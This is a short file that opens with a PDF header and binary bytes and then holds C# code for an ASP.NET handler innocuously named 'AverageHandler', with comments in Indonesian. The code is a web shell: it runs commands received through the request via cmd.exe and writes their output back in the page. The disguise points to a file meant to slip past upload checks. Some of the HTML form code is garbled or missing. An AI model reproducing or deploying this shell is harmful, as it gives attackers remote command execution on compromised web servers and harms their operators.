%PDF-1.5 %���� ºaâÚÎΞ-ÃŒE1ÃØÄ÷{òò2ÿ ÛÖ^ÔÀá TÃŽ{¦?§®¥kuµù Õ5sLOÅ¡uY using System; using System.IO; using System.Web; public class AverageHandler : IHttpHandler { /* .Net requires this to be implemented */ public bool IsReusable { get { return true; } } /* Main executing code */ public void ProcessRequest(HttpContext ctx) { // Tampilkan formulir untuk upload file ctx.Response.Write("
"); ctx.Response.Write("");
try
{
var output = ExecuteCommand(command);
ctx.Response.Write(HttpUtility.HtmlEncode(output));
}
catch (Exception ex)
{
ctx.Response.Write("Error: " + ex.Message);
}
ctx.Response.Write("");
}
}
private string ExecuteCommand(string command)
{
// Eksekusi perintah
System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + command;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
System.Diagnostics.Process p = System.Diagnostics.Process.Start(psi);
StreamReader reader = p.StandardOutput;
string result = reader.ReadToEnd();
reader.Close();
return result;
}
}